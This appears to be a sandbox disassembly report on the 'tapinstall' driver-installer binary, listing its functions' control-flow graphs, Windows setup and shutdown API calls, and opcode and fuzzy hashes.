                                                                                                                  control_flow_graph 0 7ff7fedd41d0-7ff7fedd4252 1 7ff7fedd4254-7ff7fedd4257 0->1 2 7ff7fedd425c-7ff7fedd4280 call 7ff7fedd7638 0->2 3 7ff7fedd430a-7ff7fedd4333 call 7ff7fedd76e0 1->3 8 7ff7fedd4306 2->8 9 7ff7fedd4286-7ff7fedd4288 2->9 8->3 10 7ff7fedd436f 9->10 11 7ff7fedd428e-7ff7fedd4298 9->11 14 7ff7fedd4372 10->14 12 7ff7fedd4346 11->12 13 7ff7fedd429e-7ff7fedd42a6 11->13 15 7ff7fedd4349-7ff7fedd434c 12->15 13->12 16 7ff7fedd42ac-7ff7fedd42d0 SetupDiClassGuidsFromNameExW 13->16 17 7ff7fedd4378-7ff7fedd4383 14->17 15->14 18 7ff7fedd434e-7ff7fedd435c 15->18 19 7ff7fedd42d2-7ff7fedd42db GetLastError 16->19 20 7ff7fedd42dd-7ff7fedd42e2 16->20 21 7ff7fedd4434-7ff7fedd4437 17->21 22 7ff7fedd4389-7ff7fedd439f 17->22 18->17 23 7ff7fedd435e-7ff7fedd4363 18->23 19->20 24 7ff7fedd42ea 19->24 25 7ff7fedd4334-7ff7fedd4344 20->25 26 7ff7fedd42e4 20->26 27 7ff7fedd4464-7ff7fedd44a3 SetupDiGetClassDevsExW 21->27 28 7ff7fedd4439-7ff7fedd443c 21->28 29 7ff7fedd43a0-7ff7fedd43b6 22->29 23->17 30 7ff7fedd4365-7ff7fedd436d 23->30 32 7ff7fedd42ef-7ff7fedd42fb call 7ff7fedd7640 24->32 25->15 31 7ff7fedd42e6 26->31 34 7ff7fedd44a9-7ff7fedd44b5 27->34 28->27 33 7ff7fedd443e-7ff7fedd4462 SetupDiCreateDeviceInfoListExW 28->33 35 7ff7fedd43cd-7ff7fedd43d4 29->35 36 7ff7fedd43b8-7ff7fedd43c8 CharNextW 29->36 30->14 31->24 32->8 50 7ff7fedd42fd-7ff7fedd4300 SetupDiDestroyDeviceInfoList 32->50 33->34 34->24 38 7ff7fedd44bb-7ff7fedd44c8 34->38 39 7ff7fedd43e3-7ff7fedd43ed call 7ff7fedd8e50 35->39 40 7ff7fedd43d6-7ff7fedd43e1 CharNextW 35->40 36->35 44 7ff7fedd4516-7ff7fedd452c SetupDiGetDeviceInfoListDetailW 38->44 45 7ff7fedd44ca-7ff7fedd44dd 38->45 41 7ff7fedd43f2-7ff7fedd4408 39->41 40->41 47 7ff7fedd440f 41->47 48 7ff7fedd440a-7ff7fedd440d 41->48 44->32 49 7ff7fedd4532-7ff7fedd4564 SetupDiEnumDeviceInfo 44->49 51 7ff7fedd44e2-7ff7fedd44e6 45->51 54 7ff7fedd4415-7ff7fedd441f 47->54 48->47 48->54 55 7ff7fedd4720-7ff7fedd4725 49->55 56 7ff7fedd456a 49->56 50->8 52 7ff7fedd44ff-7ff7fedd4507 51->52 53 7ff7fedd44e8-7ff7fedd44f9 SetupDiOpenDeviceInfoW 51->53 52->51 57 7ff7fedd4509-7ff7fedd4511 52->57 53->52 54->29 59 7ff7fedd4425-7ff7fedd442f 54->59 55->32 58 7ff7fedd4570-7ff7fedd4573 56->58 57->44 60 7ff7fedd46c2-7ff7fedd46e1 58->60 61 7ff7fedd4579-7ff7fedd4584 58->61 59->21 60->31 68 7ff7fedd46e7 60->68 62 7ff7fedd46ec-7ff7fedd4715 SetupDiEnumDeviceInfo 61->62 63 7ff7fedd458a-7ff7fedd459f 61->63 62->58 64 7ff7fedd471b 62->64 65 7ff7fedd45a0-7ff7fedd45a3 63->65 64->55 65->60 67 7ff7fedd45a9-7ff7fedd45d0 CM_Get_Device_ID_ExW 65->67 69 7ff7fedd45d2-7ff7fedd45d4 67->69 70 7ff7fedd45db-7ff7fedd45eb 67->70 68->62 69->70 71 7ff7fedd460f-7ff7fedd4637 call 7ff7fedd4820 * 2 70->71 72 7ff7fedd45ed-7ff7fedd45fe call 7ff7fedd4f10 70->72 80 7ff7fedd463c-7ff7fedd464c call 7ff7fedd50e0 71->80 77 7ff7fedd4604-7ff7fedd460a 72->77 78 7ff7fedd46a5-7ff7fedd46b7 72->78 77->78 78->65 81 7ff7fedd46bd-7ff7fedd46c0 78->81 84 7ff7fedd465d 80->84 85 7ff7fedd464e-7ff7fedd465b call 7ff7fedd50e0 80->85 81->60 81->68 87 7ff7fedd4663-7ff7fedd4666 84->87 85->84 85->87 89 7ff7fedd467f-7ff7fedd4682 87->89 90 7ff7fedd4668-7ff7fedd466f 87->90 91 7ff7fedd4684-7ff7fedd468b 89->91 92 7ff7fedd469b-7ff7fedd46a0 89->92 93 7ff7fedd4676-7ff7fedd467a call 7ff7fedd7640 90->93 94 7ff7fedd4671 call 7ff7fedd7640 90->94 96 7ff7fedd4692-7ff7fedd4696 call 7ff7fedd7640 91->96 97 7ff7fedd468d call 7ff7fedd7640 91->97 92->78 93->89 94->93 96->92 97->96
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Setup$Device$Info$CharListNext$ClassEnumErrorLastPropertyRegistry$CreateDestroyDetailDevice_DevsFromGet_GuidsNameOpen
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1969824741-0
                                                                                                                  • Opcode ID: e3fc275db21e76c52ccaa19e33234cd324650c93cf9cefaf585751d13ce00979
                                                                                                                  • Instruction ID: 5d2e9f945df9681971130a0a2f04bc83681cfccd158f81f88e5557771ce1f255
                                                                                                                  • Opcode Fuzzy Hash: e3fc275db21e76c52ccaa19e33234cd324650c93cf9cefaf585751d13ce00979
                                                                                                                  • Instruction Fuzzy Hash: 3AE1A132A08A8285EB30AF25E5403AAA7A5FB84B98F844135DE6D47FD8DF7CE445C750
                                                                                                                  Function 00007FF7FEDD52E0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 230shutdownCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 101 7ff7fedd52e0-7ff7fedd532e call 7ff7fedd8ecc 104 7ff7fedd5336-7ff7fedd533f CharNextW 101->104 105 7ff7fedd5330-7ff7fedd5334 101->105 106 7ff7fedd5342-7ff7fedd5362 104->106 105->106 107 7ff7fedd544c-7ff7fedd5453 106->107 108 7ff7fedd5368-7ff7fedd536f 106->108 109 7ff7fedd5455-7ff7fedd5462 call 7ff7fede6a60 107->109 110 7ff7fedd5467-7ff7fedd547d 107->110 111 7ff7fedd5371-7ff7fedd5380 108->111 127 7ff7fedd54dc-7ff7fedd54e9 call 7ff7fedd4770 109->127 113 7ff7fedd547f-7ff7fedd5488 CharNextW 110->113 114 7ff7fedd548b-7ff7fedd5499 110->114 115 7ff7fedd5386-7ff7fedd5391 111->115 116 7ff7fedd5442-7ff7fedd5447 111->116 113->114 117 7ff7fedd549b-7ff7fedd549e 114->117 118 7ff7fedd54cd-7ff7fedd54d7 call 7ff7fede6a60 114->118 120 7ff7fedd541e-7ff7fedd5423 115->120 121 7ff7fedd5397-7ff7fedd539e 115->121 116->107 124 7ff7fedd54a0-7ff7fedd54ad call 7ff7fede676c 117->124 118->127 120->116 125 7ff7fedd5425-7ff7fedd542d 120->125 122 7ff7fedd53a0-7ff7fedd53a7 121->122 123 7ff7fedd540d-7ff7fedd5412 121->123 128 7ff7fedd5400-7ff7fedd5405 122->128 129 7ff7fedd53a9-7ff7fedd53b1 122->129 123->116 131 7ff7fedd5414-7ff7fedd541c 123->131 141 7ff7fedd54b4-7ff7fedd54cb 124->141 142 7ff7fedd54af-7ff7fedd54b2 124->142 125->116 132 7ff7fedd542f 125->132 143 7ff7fedd54ee-7ff7fedd551b call 7ff7fedd76e0 127->143 128->116 135 7ff7fedd5407-7ff7fedd540b 128->135 129->116 136 7ff7fedd53b7-7ff7fedd53bc 129->136 138 7ff7fedd5434-7ff7fedd543c 131->138 132->138 135->138 136->116 140 7ff7fedd53c2-7ff7fedd53fe call 7ff7fede6a60 call 7ff7fedff44c call 7ff7fedff4f0 call 7ff7fede6a60 call 7ff7fedff44c call 7ff7fedff4f0 136->140 138->111 138->116 140->138 141->118 141->124 142->141 145 7ff7fedd551c-7ff7fedd5560 call 7ff7fedd28b0 142->145 149 7ff7fedd5566-7ff7fedd556c 145->149 151 7ff7fedd5572-7ff7fedd5575 149->151 152 7ff7fedd5668-7ff7fedd566a 149->152 154 7ff7fedd55c2-7ff7fedd55c7 151->154 155 7ff7fedd5577-7ff7fedd5582 151->155 152->143 154->152 160 7ff7fedd55cd-7ff7fedd55e8 GetCurrentProcess OpenProcessToken 154->160 157 7ff7fedd55a3-7ff7fedd55bd call 7ff7fede6a60 call 7ff7fedd4770 155->157 158 7ff7fedd5584-7ff7fedd559e call 7ff7fede6a60 call 7ff7fedd4770 155->158 157->143 158->143 161 7ff7fedd5648-7ff7fedd5662 InitiateSystemShutdownExW 160->161 162 7ff7fedd55ea-7ff7fedd5605 LookupPrivilegeValueW 160->162 161->152 166 7ff7fedd5642 CloseHandle 162->166 167 7ff7fedd5607-7ff7fedd563d AdjustTokenPrivileges 162->167 166->161 167->166
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CharNextProcessToken$AdjustCloseCurrentHandleInitiateLookupOpenPrivilegePrivilegesShutdownSystemValue
                                                                                                                  • String ID: SeShutdownPrivilege
                                                                                                                  • API String ID: 155161866-3733053543
                                                                                                                  • Opcode ID: 690a37cff1ebd05a7ace56d9b70eff1ddf708b3d2d7106c5651630866a9856b2
                                                                                                                  • Instruction ID: e75b6e5b8955d529d387b702b1a24d652c2f17c27e44fd2c2119d3010d2f0aca
                                                                                                                  • Opcode Fuzzy Hash: 690a37cff1ebd05a7ace56d9b70eff1ddf708b3d2d7106c5651630866a9856b2
                                                                                                                  • Instruction Fuzzy Hash: 11910222A0868A86FB71AB55E40437AB390FBC4B84F844039DE6E43BD5DF7CE44587A1
                                                                                                                  Function 00007FF7FEDD4820 Relevance: 4.6, APIs: 3, Instructions: 78COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  • SetupDiGetDeviceRegistryPropertyW.SETUPAPI(?,?,?,?,?,?,00007FF7FEDD4624), ref: 00007FF7FEDD487F
                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,00007FF7FEDD4624), ref: 00007FF7FEDD4894
                                                                                                                  • SetupDiGetDeviceRegistryPropertyW.SETUPAPI(?,?,?,?,?,?,?,?,?,00007FF7FEDD4624), ref: 00007FF7FEDD4906
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: DevicePropertyRegistrySetup$ErrorLast
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2536536880-0
                                                                                                                  • Opcode ID: b08a90b2f0a11205ef17a48f86861e3f30d8e072d4f5542cce9f06ad5cb14e1f
                                                                                                                  • Instruction ID: ce1a5c7efca7e578dcf694537c5ce7adfbbb70aa729b425ab0315ad1d12ba918
                                                                                                                  • Opcode Fuzzy Hash: b08a90b2f0a11205ef17a48f86861e3f30d8e072d4f5542cce9f06ad5cb14e1f
                                                                                                                  • Instruction Fuzzy Hash: 83319721A0974182EB74DF16B45026AA2A0FFC5B90FC84239DEAD47BD5EF3CD445C790
                                                                                                                  Function 00007FF7FEDD789C Relevance: 9.1, APIs: 6, Instructions: 103COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: CurrentTime__scrt_fastfail$CounterFilePerformanceProcessQuerySystemThread__scrt_acquire_startup_lock__scrt_is_managed_app__scrt_release_startup_lock__security_init_cookie__vcrt_initialize
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1566696921-0
                                                                                                                  • Opcode ID: 5dc8b7a00be0a8ea12488835e6aaa7bc2ada64c6aaa8309da5ac7729ad6df155
                                                                                                                  • Instruction ID: 7c83a75797273fb17b8bf50bf600d8666d6fb5d2ebeb77cd6722b9f5412311ac
                                                                                                                  • Opcode Fuzzy Hash: 5dc8b7a00be0a8ea12488835e6aaa7bc2ada64c6aaa8309da5ac7729ad6df155
                                                                                                                  • Instruction Fuzzy Hash: D1419A22E0D24381FB21BB65A4113F9D281AFC5784FC44479EA6E0BBD7DE6CA44582F0
                                                                                                                  Function 00007FF7FEE1716C Relevance: 7.7, APIs: 5, Instructions: 203COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 246 7ff7fee1716c-7ff7fee1718f 247 7ff7fee1742c 246->247 248 7ff7fee17195-7ff7fee17198 246->248 251 7ff7fee1742e-7ff7fee17445 247->251 249 7ff7fee171ba-7ff7fee171e0 248->249 250 7ff7fee1719a-7ff7fee171b5 call 7ff7fee06b5c call 7ff7fee06b7c call 7ff7fee069d0 248->250 253 7ff7fee171eb-7ff7fee171f1 249->253 254 7ff7fee171e2-7ff7fee171e9 249->254 250->251 255 7ff7fee17201-7ff7fee17211 call 7ff7fee17a4c 253->255 256 7ff7fee171f3-7ff7fee171fc call 7ff7fee1e524 253->256 254->250 254->253 263 7ff7fee17217-7ff7fee17227 255->263 264 7ff7fee1731a-7ff7fee1732a 255->264 256->255 263->264 268 7ff7fee1722d-7ff7fee17240 call 7ff7fee075e8 263->268 266 7ff7fee1737b-7ff7fee173a0 WriteFile 264->266 267 7ff7fee1732c-7ff7fee17333 264->267 273 7ff7fee173ab 266->273 274 7ff7fee173a2-7ff7fee173a8 GetLastError 266->274 270 7ff7fee17367-7ff7fee17374 call 7ff7fee16ce0 267->270 271 7ff7fee17335-7ff7fee17338 267->271 284 7ff7fee17258-7ff7fee17274 GetConsoleMode 268->284 285 7ff7fee17242-7ff7fee17252 268->285 286 7ff7fee17379 270->286 275 7ff7fee1733a-7ff7fee1733d 271->275 276 7ff7fee17353-7ff7fee17365 call 7ff7fee16f00 271->276 279 7ff7fee173ae 273->279 274->273 281 7ff7fee173b8-7ff7fee173c2 275->281 282 7ff7fee1733f-7ff7fee17351 call 7ff7fee16de4 275->282 292 7ff7fee1730e-7ff7fee17315 276->292 280 7ff7fee173b3 279->280 280->281 287 7ff7fee173c4-7ff7fee173c9 281->287 288 7ff7fee17425-7ff7fee1742a 281->288 282->292 284->264 291 7ff7fee1727a-7ff7fee1727d 284->291 285->264 285->284 286->292 293 7ff7fee173cb-7ff7fee173ce 287->293 294 7ff7fee173f5-7ff7fee17406 287->294 288->251 296 7ff7fee172fc-7ff7fee17309 call 7ff7fee166e8 291->296 297 7ff7fee1727f-7ff7fee17286 291->297 292->280 298 7ff7fee173eb-7ff7fee173f0 call 7ff7fee06b0c 293->298 299 7ff7fee173d0-7ff7fee173e0 call 7ff7fee06b7c call 7ff7fee06b5c 293->299 302 7ff7fee17408-7ff7fee1740b 294->302 303 7ff7fee1740d-7ff7fee1741d call 7ff7fee06b7c call 7ff7fee06b5c 294->303 296->292 297->281 301 7ff7fee1728c-7ff7fee1729c 297->301 298->294 299->298 307 7ff7fee1729e 301->307 308 7ff7fee172f5-7ff7fee172f7 301->308 302->247 302->303 303->288 309 7ff7fee172a1-7ff7fee172b8 call 7ff7fee1e604 307->309 308->279 319 7ff7fee172ba-7ff7fee172c4 309->319 320 7ff7fee172ec-7ff7fee172f2 GetLastError 309->320 321 7ff7fee172e1-7ff7fee172e8 319->321 322 7ff7fee172c6-7ff7fee172d8 call 7ff7fee1e604 319->322 320->308 321->308 324 7ff7fee172ea 321->324 322->320 326 7ff7fee172da-7ff7fee172df 322->326 324->309 326->321
                                                                                                                  APIs
                                                                                                                  • _invalid_parameter_noinfo.LIBCMT ref: 00007FF7FEE171AD
                                                                                                                  • GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B,?,?,?,00007FF7FEE177D2), ref: 00007FF7FEE1726C
                                                                                                                  • GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00007FF7FEE1712B,?,?,?,00007FF7FEE177D2), ref: 00007FF7FEE172EC
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 2210144848-0
                                                                                                                  • Opcode ID: 5b577d0101186b3dee45c0514d8567f2aff468ee3d1ca196f04eb6bda83befe3
                                                                                                                  • Instruction ID: 151084f5b02d2eda3eb5ddce44ed8368c3daec5c96e6e15dbab4477b4031d5ca
                                                                                                                  • Opcode Fuzzy Hash: 5b577d0101186b3dee45c0514d8567f2aff468ee3d1ca196f04eb6bda83befe3
                                                                                                                  • Instruction Fuzzy Hash: 5F81C522E1961285F710BB60A8402BCAA60BBC5BA4FC00175DE2F537D6DFBCA4A5C370
                                                                                                                  Function 00007FF7FEDD28B0 Relevance: 4.6, APIs: 3, Instructions: 94COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: LoadString$FormatFreeLocalMessage
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 725706356-0
                                                                                                                  • Opcode ID: d1c2bf7ba6e30959b680a2a26bbfb6c667ed2b04af53c45da1eed3ab1d55b066
                                                                                                                  • Instruction ID: 39719a8e8e7e8308b2d1669d2ad3389e6cff297a80a29669932eb2656e86682f
                                                                                                                  • Opcode Fuzzy Hash: d1c2bf7ba6e30959b680a2a26bbfb6c667ed2b04af53c45da1eed3ab1d55b066
                                                                                                                  • Instruction Fuzzy Hash: B8416C31B0868286F775AB11E4417ABB2A4FBC4784F904035DA6D53FD5EF2CE8448BA0
                                                                                                                  Function 00007FF7FEE01608 Relevance: 4.5, APIs: 3, Instructions: 19COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: Process$CurrentExitTerminate
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 1703294689-0
                                                                                                                  • Opcode ID: 08b53547627d342cef18f15c3e291c34f31992f781596ea9132903bd88c460e4
                                                                                                                  • Instruction ID: 07fa293c4b056382e7de1cf4eaed1685573f4604e44c8210b18bf7a4119a723e
                                                                                                                  • Opcode Fuzzy Hash: 08b53547627d342cef18f15c3e291c34f31992f781596ea9132903bd88c460e4
                                                                                                                  • Instruction Fuzzy Hash: CEE01A20E0820182FB547B31BCA56796252AFC8741F54453DC92F463D6CEBDA88882A1
                                                                                                                  Function 00007FF7FEE08634 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 19COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 386 7ff7fee08634-7ff7fee08657 call 7ff7fee081a8 388 7ff7fee0865c-7ff7fee0865f 386->388 389 7ff7fee08677-7ff7fee08681 388->389 390 7ff7fee08661-7ff7fee08670 388->390 390->389
                                                                                                                  APIs
                                                                                                                  Strings
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: try_get_function
                                                                                                                  • String ID: AppPolicyGetProcessTerminationMethod
                                                                                                                  • API String ID: 2742660187-2031265017
                                                                                                                  • Opcode ID: 09745aa082c0f9a3d57ff4a42a6b74f56dafb84feddb837b008a725231bf0058
                                                                                                                  • Instruction ID: e3d6299382f3ed16fed2debd075237d8634b45e23a0dd6c5bc1a02fab8f70017
                                                                                                                  • Opcode Fuzzy Hash: 09745aa082c0f9a3d57ff4a42a6b74f56dafb84feddb837b008a725231bf0058
                                                                                                                  • Instruction Fuzzy Hash: E6E04F62E0550692FB056B91BC411B192119F8A770FC90335DA3E0A3D0DFBCA9A583A0
                                                                                                                  Function 00007FF7FEE16CE0 Relevance: 3.1, APIs: 2, Instructions: 74fileCOMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  • Executed
                                                                                                                  • Not Executed
                                                                                                                  control_flow_graph 391 7ff7fee16ce0-7ff7fee16d46 call 7ff7fedd7750 394 7ff7fee16db7-7ff7fee16de1 call 7ff7fedd76e0 391->394 395 7ff7fee16d48 391->395 396 7ff7fee16d4d-7ff7fee16d50 395->396 398 7ff7fee16d52-7ff7fee16d59 396->398 399 7ff7fee16d76-7ff7fee16d9b WriteFile 396->399 401 7ff7fee16d5b-7ff7fee16d61 398->401 402 7ff7fee16d64-7ff7fee16d74 398->402 403 7ff7fee16d9d-7ff7fee16da6 399->403 404 7ff7fee16daf-7ff7fee16db5 GetLastError 399->404 401->402 402->396 402->399 403->394 405 7ff7fee16da8-7ff7fee16dab 403->405 404->394 405->395 406 7ff7fee16dad 405->406 406->394
                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441481570.00007FF7FEE37000.00000004.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441890208.00007FF7FEE3A000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  Joe Sandbox IDA Plugin
                                                                                                                  • Snapshot File: hcaresult_12_2_7ff7fedd0000_tapinstall.jbxd
                                                                                                                  Similarity
                                                                                                                  • API ID: ErrorFileLastWrite
                                                                                                                  • String ID:
                                                                                                                  • API String ID: 442123175-0
                                                                                                                  • Opcode ID: db3742f2bb6f116d389edc3337e853886a6bb6baf124e39b63c995694271e509
                                                                                                                  • Instruction ID: f30c40b678347677d974a5314784b62e4d141f1d79b43d4cd1e9f7903eb6a89f
                                                                                                                  • Opcode Fuzzy Hash: db3742f2bb6f116d389edc3337e853886a6bb6baf124e39b63c995694271e509
                                                                                                                  • Instruction Fuzzy Hash: 1831E572A19B828AE710AF15F4402E9B760FB98790F854071DB5E83B98DF7CD455C750
                                                                                                                  Function 00007FF7FEE09EA4 Relevance: 3.1, APIs: 2, Instructions: 73COMMON
                                                                                                                  Download Yara Rule

                                                                                                                  Control-flow Graph

                                                                                                                  APIs
                                                                                                                  Memory Dump Source
                                                                                                                  • Source File: 0000000C.00000002.2440480806.00007FF7FEDD1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF7FEDD0000, based on PE: true
                                                                                                                  • Associated: 0000000C.00000002.2440457538.00007FF7FEDD0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                                                                                                  • Associated: 0000000C.00000002.2441290988.00007FF7FEE24000.00000002.00000001.01000000.00000008.sdmpDownload File
